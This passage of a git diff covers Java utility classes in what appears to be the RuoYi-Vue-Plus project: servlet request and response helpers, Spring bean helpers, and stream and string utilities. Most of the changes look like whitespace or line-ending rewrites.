获取指定名称的 Integer 类型的请求参数 + * + * @param name 参数名 + * @return 参数值 + */ + public static Integer getParameterToInt(String name) { + return Convert.toInt(getRequest().getParameter(name)); + } + + /** + * 获取指定名称的 Integer 类型的请求参数,若参数不存在,则返回默认值 + * + * @param name 参数名 + * @param defaultValue 默认值 + * @return 参数值或默认值 + */ + public static Integer getParameterToInt(String name, Integer defaultValue) { + return Convert.toInt(getRequest().getParameter(name), defaultValue); + } + + /** + * 获取指定名称的 Boolean 类型的请求参数 + * + * @param name 参数名 + * @return 参数值 + */ + public static Boolean getParameterToBool(String name) { + return Convert.toBool(getRequest().getParameter(name)); + } + + /** + * 获取指定名称的 Boolean 类型的请求参数,若参数不存在,则返回默认值 + * + * @param name 参数名 + * @param defaultValue 默认值 + * @return 参数值或默认值 + */ + public static Boolean getParameterToBool(String name, Boolean defaultValue) { + return Convert.toBool(getRequest().getParameter(name), defaultValue); + } + + /** + * 获取所有请求参数(以 Map 的形式返回) + * + * @param request 请求对象{@link ServletRequest} + * @return 请求参数的 Map,键为参数名,值为参数值数组 + */ + public static Map getParams(ServletRequest request) { + final Map map = request.getParameterMap(); + return Collections.unmodifiableMap(map); + } + + /** + * 获取所有请求参数(以 Map 的形式返回,值为字符串形式的拼接) + * + * @param request 请求对象{@link ServletRequest} + * @return 请求参数的 Map,键为参数名,值为拼接后的字符串 + */ + public static Map getParamMap(ServletRequest request) { + Map params = new HashMap<>(); + for (Map.Entry entry : getParams(request).entrySet()) { + params.put(entry.getKey(), StringUtils.join(entry.getValue(), StringUtils.SEPARATOR)); + } + return params; + } + + /** + * 获取当前 HTTP 请求对象 + * + * @return 当前 HTTP 请求对象 + */ + public static HttpServletRequest getRequest() { + try { + return getRequestAttributes().getRequest(); + } catch (Exception e) { + return null; + } + } + + /** + * 获取当前 HTTP 响应对象 + * + * @return 当前 HTTP 响应对象 + */ + public static HttpServletResponse getResponse() { + try { + return getRequestAttributes().getResponse(); + } catch (Exception e) { + return null; + } + } + + /** + * 获取当前请求的 HttpSession 对象 + *

+ * 如果当前请求已经关联了一个会话(即已经存在有效的 session ID), + * 则返回该会话对象;如果没有关联会话,则会创建一个新的会话对象并返回。 + *

+ * HttpSession 用于存储会话级别的数据,如用户登录信息、购物车内容等, + * 可以在多个请求之间共享会话数据 + * + * @return 当前请求的 HttpSession 对象 + */ + public static HttpSession getSession() { + return getRequest().getSession(); + } + + /** + * 获取当前请求的请求属性 + * + * @return {@link ServletRequestAttributes} 请求属性对象 + */ + public static ServletRequestAttributes getRequestAttributes() { + try { + RequestAttributes attributes = RequestContextHolder.getRequestAttributes(); + return (ServletRequestAttributes) attributes; + } catch (Exception e) { + return null; + } + } + + /** + * 获取指定请求头的值,如果头部为空则返回空字符串 + * + * @param request 请求对象 + * @param name 头部名称 + * @return 头部值 + */ + public static String getHeader(HttpServletRequest request, String name) { + String value = request.getHeader(name); + if (StringUtils.isEmpty(value)) { + return StringUtils.EMPTY; + } + return urlDecode(value); + } + + /** + * 获取所有请求头的 Map,键为头部名称,值为头部值 + * + * @param request 请求对象 + * @return 请求头的 Map + */ + public static Map getHeaders(HttpServletRequest request) { + Map map = new LinkedCaseInsensitiveMap<>(); + Enumeration enumeration = request.getHeaderNames(); + if (enumeration != null) { + while (enumeration.hasMoreElements()) { + String key = enumeration.nextElement(); + String value = request.getHeader(key); + map.put(key, value); + } + } + return map; + } + + /** + * 将字符串渲染到客户端(以 JSON 格式返回) + * + * @param response 渲染对象 + * @param string 待渲染的字符串 + */ + public static void renderString(HttpServletResponse response, String string) { + try { + response.setStatus(HttpStatus.HTTP_OK); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.setCharacterEncoding(StandardCharsets.UTF_8.toString()); + response.getWriter().print(string); + } catch (IOException e) { + e.printStackTrace(); + } + } + + /** + * 判断当前请求是否为 Ajax 异步请求 + * + * @param request 请求对象 + * @return 是否为 Ajax 请求 + */ + public static boolean isAjaxRequest(HttpServletRequest request) { + + // 判断 Accept 头部是否包含 application/json + String accept = request.getHeader("accept"); + if (accept != null && accept.contains(MediaType.APPLICATION_JSON_VALUE)) { + return true; + } + + // 判断 X-Requested-With 头部是否包含 XMLHttpRequest + String xRequestedWith = request.getHeader("X-Requested-With"); + if (xRequestedWith != null && xRequestedWith.contains("XMLHttpRequest")) { + return true; + } + + // 判断 URI 后缀是否为 .json 或 .xml + String uri = request.getRequestURI(); + if (StringUtils.equalsAnyIgnoreCase(uri, ".json", ".xml")) { + return true; + } + + // 判断请求参数 __ajax 是否为 json 或 xml + String ajax = request.getParameter("__ajax"); + return StringUtils.equalsAnyIgnoreCase(ajax, "json", "xml"); + } + + /** + * 获取客户端 IP 地址 + * + * @return 客户端 IP 地址 + */ + public static String getClientIP() { + return getClientIP(getRequest()); + } + + /** + * 对内容进行 URL 编码 + * + * @param str 内容 + * @return 编码后的内容 + */ + public static String urlEncode(String str) { + return URLEncoder.encode(str, StandardCharsets.UTF_8); + } + + /** + * 对内容进行 URL 解码 + * + * @param str 内容 + * @return 解码后的内容 + */ + public static String urlDecode(String str) { + return URLDecoder.decode(str, StandardCharsets.UTF_8); + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/SpringUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/SpringUtils.java index 169c6e2..5cf84e2 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/SpringUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/SpringUtils.java @@ -1,67 +1,67 @@ -package org.dromara.common.core.utils; - -import cn.hutool.extra.spring.SpringUtil; -import org.springframework.beans.factory.NoSuchBeanDefinitionException; -import org.springframework.boot.autoconfigure.thread.Threading; -import org.springframework.context.ApplicationContext; -import org.springframework.core.env.Environment; -import org.springframework.stereotype.Component; - -/** - * spring工具类 - * - * @author Lion Li - */ -@Component -public final class SpringUtils extends SpringUtil { - - /** - * 如果BeanFactory包含一个与所给名称匹配的bean定义,则返回true - */ - public static boolean containsBean(String name) { - return getBeanFactory().containsBean(name); - } - - /** - * 判断以给定名字注册的bean定义是一个singleton还是一个prototype。 - * 如果与给定名字相应的bean定义没有被找到,将会抛出一个异常(NoSuchBeanDefinitionException) - */ - public static boolean isSingleton(String name) throws NoSuchBeanDefinitionException { - return getBeanFactory().isSingleton(name); - } - - /** - * @return Class 注册对象的类型 - */ - public static Class getType(String name) throws NoSuchBeanDefinitionException { - return getBeanFactory().getType(name); - } - - /** - * 如果给定的bean名字在bean定义中有别名,则返回这些别名 - */ - public static String[] getAliases(String name) throws NoSuchBeanDefinitionException { - return getBeanFactory().getAliases(name); - } - - /** - * 获取aop代理对象 - */ - @SuppressWarnings("unchecked") - public static T getAopProxy(T invoker) { - return (T) getBean(invoker.getClass()); - } - - - /** - * 获取spring上下文 - */ - public static ApplicationContext context() { - return getApplicationContext(); - } - - public static boolean isVirtual() { - return Threading.VIRTUAL.isActive(getBean(Environment.class)); - } - -} +package org.dromara.common.core.utils; + +import cn.hutool.extra.spring.SpringUtil; +import org.springframework.beans.factory.NoSuchBeanDefinitionException; +import org.springframework.boot.autoconfigure.thread.Threading; +import org.springframework.context.ApplicationContext; +import org.springframework.core.env.Environment; +import org.springframework.stereotype.Component; + +/** + * spring工具类 + * + * @author Lion Li + */ +@Component +public final class SpringUtils extends SpringUtil { + + /** + * 如果BeanFactory包含一个与所给名称匹配的bean定义,则返回true + */ + public static boolean containsBean(String name) { + return getBeanFactory().containsBean(name); + } + + /** + * 判断以给定名字注册的bean定义是一个singleton还是一个prototype。 + * 如果与给定名字相应的bean定义没有被找到,将会抛出一个异常(NoSuchBeanDefinitionException) + */ + public static boolean isSingleton(String name) throws NoSuchBeanDefinitionException { + return getBeanFactory().isSingleton(name); + } + + /** + * @return Class 注册对象的类型 + */ + public static Class getType(String name) throws NoSuchBeanDefinitionException { + return getBeanFactory().getType(name); + } + + /** + * 如果给定的bean名字在bean定义中有别名,则返回这些别名 + */ + public static String[] getAliases(String name) throws NoSuchBeanDefinitionException { + return getBeanFactory().getAliases(name); + } + + /** + * 获取aop代理对象 + */ + @SuppressWarnings("unchecked") + public static T getAopProxy(T invoker) { + return (T) getBean(invoker.getClass()); + } + + + /** + * 获取spring上下文 + */ + public static ApplicationContext context() { + return getApplicationContext(); + } + + public static boolean isVirtual() { + return Threading.VIRTUAL.isActive(getBean(Environment.class)); + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/StreamUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/StreamUtils.java index f9e53a5..d023383 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/StreamUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/StreamUtils.java @@ -1,282 +1,282 @@ -package org.dromara.common.core.utils; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.map.MapUtil; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; - -import java.util.*; -import java.util.function.BiFunction; -import java.util.function.Function; -import java.util.function.Predicate; -import java.util.stream.Collectors; - -/** - * stream 流工具类 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class StreamUtils { - - /** - * 将collection过滤 - * - * @param collection 需要转化的集合 - * @param function 过滤方法 - * @return 过滤后的list - */ - public static List filter(Collection collection, Predicate function) { - if (CollUtil.isEmpty(collection)) { - return CollUtil.newArrayList(); - } - // 注意此处不要使用 .toList() 新语法 因为返回的是不可变List 会导致序列化问题 - return collection.stream().filter(function).collect(Collectors.toList()); - } - - /** - * 找到流中满足条件的第一个元素 - * - * @param collection 需要查询的集合 - * @param function 过滤方法 - * @return 找到符合条件的第一个元素,没有则返回null - */ - public static E findFirst(Collection collection, Predicate function) { - if (CollUtil.isEmpty(collection)) { - return null; - } - return collection.stream().filter(function).findFirst().orElse(null); - } - - /** - * 找到流中任意一个满足条件的元素 - * - * @param collection 需要查询的集合 - * @param function 过滤方法 - * @return 找到符合条件的任意一个元素,没有则返回null - */ - public static Optional findAny(Collection collection, Predicate function) { - if (CollUtil.isEmpty(collection)) { - return Optional.empty(); - } - return collection.stream().filter(function).findAny(); - } - - /** - * 将collection拼接 - * - * @param collection 需要转化的集合 - * @param function 拼接方法 - * @return 拼接后的list - */ - public static String join(Collection collection, Function function) { - return join(collection, function, StringUtils.SEPARATOR); - } - - /** - * 将collection拼接 - * - * @param collection 需要转化的集合 - * @param function 拼接方法 - * @param delimiter 拼接符 - * @return 拼接后的list - */ - public static String join(Collection collection, Function function, CharSequence delimiter) { - if (CollUtil.isEmpty(collection)) { - return StringUtils.EMPTY; - } - return collection.stream().map(function).filter(Objects::nonNull).collect(Collectors.joining(delimiter)); - } - - /** - * 将collection排序 - * - * @param collection 需要转化的集合 - * @param comparing 排序方法 - * @return 排序后的list - */ - public static List sorted(Collection collection, Comparator comparing) { - if (CollUtil.isEmpty(collection)) { - return CollUtil.newArrayList(); - } - // 注意此处不要使用 .toList() 新语法 因为返回的是不可变List 会导致序列化问题 - return collection.stream().filter(Objects::nonNull).sorted(comparing).collect(Collectors.toList()); - } - - /** - * 将collection转化为类型不变的map
- * {@code Collection ----> Map} - * - * @param collection 需要转化的集合 - * @param key V类型转化为K类型的lambda方法 - * @param collection中的泛型 - * @param map中的key类型 - * @return 转化后的map - */ - public static Map toIdentityMap(Collection collection, Function key) { - if (CollUtil.isEmpty(collection)) { - return MapUtil.newHashMap(); - } - return collection.stream().filter(Objects::nonNull).collect(Collectors.toMap(key, Function.identity(), (l, r) -> l)); - } - - /** - * 将Collection转化为map(value类型与collection的泛型不同)
- * {@code Collection -----> Map } - * - * @param collection 需要转化的集合 - * @param key E类型转化为K类型的lambda方法 - * @param value E类型转化为V类型的lambda方法 - * @param collection中的泛型 - * @param map中的key类型 - * @param map中的value类型 - * @return 转化后的map - */ - public static Map toMap(Collection collection, Function key, Function value) { - if (CollUtil.isEmpty(collection)) { - return MapUtil.newHashMap(); - } - return collection.stream().filter(Objects::nonNull).collect(Collectors.toMap(key, value, (l, r) -> l)); - } - - /** - * 将collection按照规则(比如有相同的班级id)分类成map
- * {@code Collection -------> Map> } - * - * @param collection 需要分类的集合 - * @param key 分类的规则 - * @param collection中的泛型 - * @param map中的key类型 - * @return 分类后的map - */ - public static Map> groupByKey(Collection collection, Function key) { - if (CollUtil.isEmpty(collection)) { - return MapUtil.newHashMap(); - } - return collection - .stream().filter(Objects::nonNull) - .collect(Collectors.groupingBy(key, LinkedHashMap::new, Collectors.toList())); - } - - /** - * 将collection按照两个规则(比如有相同的年级id,班级id)分类成双层map
- * {@code Collection ---> Map>> } - * - * @param collection 需要分类的集合 - * @param key1 第一个分类的规则 - * @param key2 第二个分类的规则 - * @param 集合元素类型 - * @param 第一个map中的key类型 - * @param 第二个map中的key类型 - * @return 分类后的map - */ - public static Map>> groupBy2Key(Collection collection, Function key1, Function key2) { - if (CollUtil.isEmpty(collection)) { - return MapUtil.newHashMap(); - } - return collection - .stream().filter(Objects::nonNull) - .collect(Collectors.groupingBy(key1, LinkedHashMap::new, Collectors.groupingBy(key2, LinkedHashMap::new, Collectors.toList()))); - } - - /** - * 将collection按照两个规则(比如有相同的年级id,班级id)分类成双层map
- * {@code Collection ---> Map> } - * - * @param collection 需要分类的集合 - * @param key1 第一个分类的规则 - * @param key2 第二个分类的规则 - * @param 第一个map中的key类型 - * @param 第二个map中的key类型 - * @param collection中的泛型 - * @return 分类后的map - */ - public static Map> group2Map(Collection collection, Function key1, Function key2) { - if (CollUtil.isEmpty(collection) || key1 == null || key2 == null) { - return MapUtil.newHashMap(); - } - return collection - .stream().filter(Objects::nonNull) - .collect(Collectors.groupingBy(key1, LinkedHashMap::new, Collectors.toMap(key2, Function.identity(), (l, r) -> l))); - } - - /** - * 将collection转化为List集合,但是两者的泛型不同
- * {@code Collection ------> List } - * - * @param collection 需要转化的集合 - * @param function collection中的泛型转化为list泛型的lambda表达式 - * @param collection中的泛型 - * @param List中的泛型 - * @return 转化后的list - */ - public static List toList(Collection collection, Function function) { - if (CollUtil.isEmpty(collection)) { - return CollUtil.newArrayList(); - } - return collection - .stream() - .map(function) - .filter(Objects::nonNull) - // 注意此处不要使用 .toList() 新语法 因为返回的是不可变List 会导致序列化问题 - .collect(Collectors.toList()); - } - - /** - * 将collection转化为Set集合,但是两者的泛型不同
- * {@code Collection ------> Set } - * - * @param collection 需要转化的集合 - * @param function collection中的泛型转化为set泛型的lambda表达式 - * @param collection中的泛型 - * @param Set中的泛型 - * @return 转化后的Set - */ - public static Set toSet(Collection collection, Function function) { - if (CollUtil.isEmpty(collection) || function == null) { - return CollUtil.newHashSet(); - } - return collection - .stream() - .map(function) - .filter(Objects::nonNull) - .collect(Collectors.toSet()); - } - - - /** - * 合并两个相同key类型的map - * - * @param map1 第一个需要合并的 map - * @param map2 第二个需要合并的 map - * @param merge 合并的lambda,将key value1 value2合并成最终的类型,注意value可能为空的情况 - * @param map中的key类型 - * @param 第一个 map的value类型 - * @param 第二个 map的value类型 - * @param 最终map的value类型 - * @return 合并后的map - */ - public static Map merge(Map map1, Map map2, BiFunction merge) { - if (MapUtil.isEmpty(map1) && MapUtil.isEmpty(map2)) { - return MapUtil.newHashMap(); - } else if (MapUtil.isEmpty(map1)) { - map1 = MapUtil.newHashMap(); - } else if (MapUtil.isEmpty(map2)) { - map2 = MapUtil.newHashMap(); - } - Set key = new HashSet<>(); - key.addAll(map1.keySet()); - key.addAll(map2.keySet()); - Map map = new HashMap<>(); - for (K t : key) { - X x = map1.get(t); - Y y = map2.get(t); - V z = merge.apply(x, y); - if (z != null) { - map.put(t, z); - } - } - return map; - } - -} +package org.dromara.common.core.utils; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.map.MapUtil; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; + +import java.util.*; +import java.util.function.BiFunction; +import java.util.function.Function; +import java.util.function.Predicate; +import java.util.stream.Collectors; + +/** + * stream 流工具类 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class StreamUtils { + + /** + * 将collection过滤 + * + * @param collection 需要转化的集合 + * @param function 过滤方法 + * @return 过滤后的list + */ + public static List filter(Collection collection, Predicate function) { + if (CollUtil.isEmpty(collection)) { + return CollUtil.newArrayList(); + } + // 注意此处不要使用 .toList() 新语法 因为返回的是不可变List 会导致序列化问题 + return collection.stream().filter(function).collect(Collectors.toList()); + } + + /** + * 找到流中满足条件的第一个元素 + * + * @param collection 需要查询的集合 + * @param function 过滤方法 + * @return 找到符合条件的第一个元素,没有则返回null + */ + public static E findFirst(Collection collection, Predicate function) { + if (CollUtil.isEmpty(collection)) { + return null; + } + return collection.stream().filter(function).findFirst().orElse(null); + } + + /** + * 找到流中任意一个满足条件的元素 + * + * @param collection 需要查询的集合 + * @param function 过滤方法 + * @return 找到符合条件的任意一个元素,没有则返回null + */ + public static Optional findAny(Collection collection, Predicate function) { + if (CollUtil.isEmpty(collection)) { + return Optional.empty(); + } + return collection.stream().filter(function).findAny(); + } + + /** + * 将collection拼接 + * + * @param collection 需要转化的集合 + * @param function 拼接方法 + * @return 拼接后的list + */ + public static String join(Collection collection, Function function) { + return join(collection, function, StringUtils.SEPARATOR); + } + + /** + * 将collection拼接 + * + * @param collection 需要转化的集合 + * @param function 拼接方法 + * @param delimiter 拼接符 + * @return 拼接后的list + */ + public static String join(Collection collection, Function function, CharSequence delimiter) { + if (CollUtil.isEmpty(collection)) { + return StringUtils.EMPTY; + } + return collection.stream().map(function).filter(Objects::nonNull).collect(Collectors.joining(delimiter)); + } + + /** + * 将collection排序 + * + * @param collection 需要转化的集合 + * @param comparing 排序方法 + * @return 排序后的list + */ + public static List sorted(Collection collection, Comparator comparing) { + if (CollUtil.isEmpty(collection)) { + return CollUtil.newArrayList(); + } + // 注意此处不要使用 .toList() 新语法 因为返回的是不可变List 会导致序列化问题 + return collection.stream().filter(Objects::nonNull).sorted(comparing).collect(Collectors.toList()); + } + + /** + * 将collection转化为类型不变的map
+ * {@code Collection ----> Map} + * + * @param collection 需要转化的集合 + * @param key V类型转化为K类型的lambda方法 + * @param collection中的泛型 + * @param map中的key类型 + * @return 转化后的map + */ + public static Map toIdentityMap(Collection collection, Function key) { + if (CollUtil.isEmpty(collection)) { + return MapUtil.newHashMap(); + } + return collection.stream().filter(Objects::nonNull).collect(Collectors.toMap(key, Function.identity(), (l, r) -> l)); + } + + /** + * 将Collection转化为map(value类型与collection的泛型不同)
+ * {@code Collection -----> Map } + * + * @param collection 需要转化的集合 + * @param key E类型转化为K类型的lambda方法 + * @param value E类型转化为V类型的lambda方法 + * @param collection中的泛型 + * @param map中的key类型 + * @param map中的value类型 + * @return 转化后的map + */ + public static Map toMap(Collection collection, Function key, Function value) { + if (CollUtil.isEmpty(collection)) { + return MapUtil.newHashMap(); + } + return collection.stream().filter(Objects::nonNull).collect(Collectors.toMap(key, value, (l, r) -> l)); + } + + /** + * 将collection按照规则(比如有相同的班级id)分类成map
+ * {@code Collection -------> Map> } + * + * @param collection 需要分类的集合 + * @param key 分类的规则 + * @param collection中的泛型 + * @param map中的key类型 + * @return 分类后的map + */ + public static Map> groupByKey(Collection collection, Function key) { + if (CollUtil.isEmpty(collection)) { + return MapUtil.newHashMap(); + } + return collection + .stream().filter(Objects::nonNull) + .collect(Collectors.groupingBy(key, LinkedHashMap::new, Collectors.toList())); + } + + /** + * 将collection按照两个规则(比如有相同的年级id,班级id)分类成双层map
+ * {@code Collection ---> Map>> } + * + * @param collection 需要分类的集合 + * @param key1 第一个分类的规则 + * @param key2 第二个分类的规则 + * @param 集合元素类型 + * @param 第一个map中的key类型 + * @param 第二个map中的key类型 + * @return 分类后的map + */ + public static Map>> groupBy2Key(Collection collection, Function key1, Function key2) { + if (CollUtil.isEmpty(collection)) { + return MapUtil.newHashMap(); + } + return collection + .stream().filter(Objects::nonNull) + .collect(Collectors.groupingBy(key1, LinkedHashMap::new, Collectors.groupingBy(key2, LinkedHashMap::new, Collectors.toList()))); + } + + /** + * 将collection按照两个规则(比如有相同的年级id,班级id)分类成双层map
+ * {@code Collection ---> Map> } + * + * @param collection 需要分类的集合 + * @param key1 第一个分类的规则 + * @param key2 第二个分类的规则 + * @param 第一个map中的key类型 + * @param 第二个map中的key类型 + * @param collection中的泛型 + * @return 分类后的map + */ + public static Map> group2Map(Collection collection, Function key1, Function key2) { + if (CollUtil.isEmpty(collection) || key1 == null || key2 == null) { + return MapUtil.newHashMap(); + } + return collection + .stream().filter(Objects::nonNull) + .collect(Collectors.groupingBy(key1, LinkedHashMap::new, Collectors.toMap(key2, Function.identity(), (l, r) -> l))); + } + + /** + * 将collection转化为List集合,但是两者的泛型不同
+ * {@code Collection ------> List } + * + * @param collection 需要转化的集合 + * @param function collection中的泛型转化为list泛型的lambda表达式 + * @param collection中的泛型 + * @param List中的泛型 + * @return 转化后的list + */ + public static List toList(Collection collection, Function function) { + if (CollUtil.isEmpty(collection)) { + return CollUtil.newArrayList(); + } + return collection + .stream() + .map(function) + .filter(Objects::nonNull) + // 注意此处不要使用 .toList() 新语法 因为返回的是不可变List 会导致序列化问题 + .collect(Collectors.toList()); + } + + /** + * 将collection转化为Set集合,但是两者的泛型不同
+ * {@code Collection ------> Set } + * + * @param collection 需要转化的集合 + * @param function collection中的泛型转化为set泛型的lambda表达式 + * @param collection中的泛型 + * @param Set中的泛型 + * @return 转化后的Set + */ + public static Set toSet(Collection collection, Function function) { + if (CollUtil.isEmpty(collection) || function == null) { + return CollUtil.newHashSet(); + } + return collection + .stream() + .map(function) + .filter(Objects::nonNull) + .collect(Collectors.toSet()); + } + + + /** + * 合并两个相同key类型的map + * + * @param map1 第一个需要合并的 map + * @param map2 第二个需要合并的 map + * @param merge 合并的lambda,将key value1 value2合并成最终的类型,注意value可能为空的情况 + * @param map中的key类型 + * @param 第一个 map的value类型 + * @param 第二个 map的value类型 + * @param 最终map的value类型 + * @return 合并后的map + */ + public static Map merge(Map map1, Map map2, BiFunction merge) { + if (MapUtil.isEmpty(map1) && MapUtil.isEmpty(map2)) { + return MapUtil.newHashMap(); + } else if (MapUtil.isEmpty(map1)) { + map1 = MapUtil.newHashMap(); + } else if (MapUtil.isEmpty(map2)) { + map2 = MapUtil.newHashMap(); + } + Set key = new HashSet<>(); + key.addAll(map1.keySet()); + key.addAll(map2.keySet()); + Map map = new HashMap<>(); + for (K t : key) { + X x = map1.get(t); + Y y = map2.get(t); + V z = merge.apply(x, y); + if (z != null) { + map.put(t, z); + } + } + return map; + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/StringUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/StringUtils.java index dd6ebb1..2cd109c 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/StringUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/StringUtils.java @@ -1,323 +1,323 @@ -package org.dromara.common.core.utils; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.lang.Validator; -import cn.hutool.core.util.StrUtil; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.springframework.util.AntPathMatcher; - -import java.util.*; -import java.util.function.Function; -import java.util.stream.Collectors; - -/** - * 字符串工具类 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class StringUtils extends org.apache.commons.lang3.StringUtils { - - public static final String SEPARATOR = ","; - - public static final String SLASH = "/"; - - /** - * 获取参数不为空值 - * - * @param str defaultValue 要判断的value - * @return value 返回值 - */ - public static String blankToDefault(String str, String defaultValue) { - return StrUtil.blankToDefault(str, defaultValue); - } - - /** - * * 判断一个字符串是否为空串 - * - * @param str String - * @return true:为空 false:非空 - */ - public static boolean isEmpty(String str) { - return StrUtil.isEmpty(str); - } - - /** - * * 判断一个字符串是否为非空串 - * - * @param str String - * @return true:非空串 false:空串 - */ - public static boolean isNotEmpty(String str) { - return !isEmpty(str); - } - - /** - * 去空格 - */ - public static String trim(String str) { - return StrUtil.trim(str); - } - - /** - * 截取字符串 - * - * @param str 字符串 - * @param start 开始 - * @return 结果 - */ - public static String substring(final String str, int start) { - return substring(str, start, str.length()); - } - - /** - * 截取字符串 - * - * @param str 字符串 - * @param start 开始 - * @param end 结束 - * @return 结果 - */ - public static String substring(final String str, int start, int end) { - return StrUtil.sub(str, start, end); - } - - /** - * 格式化文本, {} 表示占位符
- * 此方法只是简单将占位符 {} 按照顺序替换为参数
- * 如果想输出 {} 使用 \\转义 { 即可,如果想输出 {} 之前的 \ 使用双转义符 \\\\ 即可
- * 例:
- * 通常使用:format("this is {} for {}", "a", "b") -> this is a for b
- * 转义{}: format("this is \\{} for {}", "a", "b") -> this is {} for a
- * 转义\: format("this is \\\\{} for {}", "a", "b") -> this is \a for b
- * - * @param template 文本模板,被替换的部分用 {} 表示 - * @param params 参数值 - * @return 格式化后的文本 - */ - public static String format(String template, Object... params) { - return StrUtil.format(template, params); - } - - /** - * 是否为http(s)://开头 - * - * @param link 链接 - * @return 结果 - */ - public static boolean ishttp(String link) { - return Validator.isUrl(link); - } - - /** - * 字符串转set - * - * @param str 字符串 - * @param sep 分隔符 - * @return set集合 - */ - public static Set str2Set(String str, String sep) { - return new HashSet<>(str2List(str, sep, true, false)); - } - - /** - * 字符串转list - * - * @param str 字符串 - * @param sep 分隔符 - * @param filterBlank 过滤纯空白 - * @param trim 去掉首尾空白 - * @return list集合 - */ - public static List str2List(String str, String sep, boolean filterBlank, boolean trim) { - List list = new ArrayList<>(); - if (isEmpty(str)) { - return list; - } - - // 过滤空白字符串 - if (filterBlank && isBlank(str)) { - return list; - } - String[] split = str.split(sep); - for (String string : split) { - if (filterBlank && isBlank(string)) { - continue; - } - if (trim) { - string = trim(string); - } - list.add(string); - } - - return list; - } - - /** - * 查找指定字符串是否包含指定字符串列表中的任意一个字符串同时串忽略大小写 - * - * @param cs 指定字符串 - * @param searchCharSequences 需要检查的字符串数组 - * @return 是否包含任意一个字符串 - */ - public static boolean containsAnyIgnoreCase(CharSequence cs, CharSequence... searchCharSequences) { - return StrUtil.containsAnyIgnoreCase(cs, searchCharSequences); - } - - /** - * 驼峰转下划线命名 - */ - public static String toUnderScoreCase(String str) { - return StrUtil.toUnderlineCase(str); - } - - /** - * 是否包含字符串 - * - * @param str 验证字符串 - * @param strs 字符串组 - * @return 包含返回true - */ - public static boolean inStringIgnoreCase(String str, String... strs) { - return StrUtil.equalsAnyIgnoreCase(str, strs); - } - - /** - * 将下划线大写方式命名的字符串转换为驼峰式。如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。 例如:HELLO_WORLD->HelloWorld - * - * @param name 转换前的下划线大写方式命名的字符串 - * @return 转换后的驼峰式命名的字符串 - */ - public static String convertToCamelCase(String name) { - return StrUtil.upperFirst(StrUtil.toCamelCase(name)); - } - - /** - * 驼峰式命名法 例如:user_name->userName - */ - public static String toCamelCase(String s) { - return StrUtil.toCamelCase(s); - } - - /** - * 查找指定字符串是否匹配指定字符串列表中的任意一个字符串 - * - * @param str 指定字符串 - * @param strs 需要检查的字符串数组 - * @return 是否匹配 - */ - public static boolean matches(String str, List strs) { - if (isEmpty(str) || CollUtil.isEmpty(strs)) { - return false; - } - for (String pattern : strs) { - if (isMatch(pattern, str)) { - return true; - } - } - return false; - } - - /** - * 判断url是否与规则配置: - * ? 表示单个字符; - * * 表示一层路径内的任意字符串,不可跨层级; - * ** 表示任意层路径; - * - * @param pattern 匹配规则 - * @param url 需要匹配的url - */ - public static boolean isMatch(String pattern, String url) { - AntPathMatcher matcher = new AntPathMatcher(); - return matcher.match(pattern, url); - } - - /** - * 数字左边补齐0,使之达到指定长度。注意,如果数字转换为字符串后,长度大于size,则只保留 最后size个字符。 - * - * @param num 数字对象 - * @param size 字符串指定长度 - * @return 返回数字的字符串格式,该字符串为指定长度。 - */ - public static String padl(final Number num, final int size) { - return padl(num.toString(), size, '0'); - } - - /** - * 字符串左补齐。如果原始字符串s长度大于size,则只保留最后size个字符。 - * - * @param s 原始字符串 - * @param size 字符串指定长度 - * @param c 用于补齐的字符 - * @return 返回指定长度的字符串,由原字符串左补齐或截取得到。 - */ - public static String padl(final String s, final int size, final char c) { - final StringBuilder sb = new StringBuilder(size); - if (s != null) { - final int len = s.length(); - if (s.length() <= size) { - sb.append(String.valueOf(c).repeat(size - len)); - sb.append(s); - } else { - return s.substring(len - size, len); - } - } else { - sb.append(String.valueOf(c).repeat(Math.max(0, size))); - } - return sb.toString(); - } - - /** - * 切分字符串(分隔符默认逗号) - * - * @param str 被切分的字符串 - * @return 分割后的数据列表 - */ - public static List splitList(String str) { - return splitTo(str, Convert::toStr); - } - - /** - * 切分字符串 - * - * @param str 被切分的字符串 - * @param separator 分隔符 - * @return 分割后的数据列表 - */ - public static List splitList(String str, String separator) { - return splitTo(str, separator, Convert::toStr); - } - - /** - * 切分字符串自定义转换(分隔符默认逗号) - * - * @param str 被切分的字符串 - * @param mapper 自定义转换 - * @return 分割后的数据列表 - */ - public static List splitTo(String str, Function mapper) { - return splitTo(str, SEPARATOR, mapper); - } - - /** - * 切分字符串自定义转换 - * - * @param str 被切分的字符串 - * @param separator 分隔符 - * @param mapper 自定义转换 - * @return 分割后的数据列表 - */ - public static List splitTo(String str, String separator, Function mapper) { - if (isBlank(str)) { - return new ArrayList<>(0); - } - return StrUtil.split(str, separator) - .stream() - .filter(Objects::nonNull) - .map(mapper) - .collect(Collectors.toList()); - } - -} 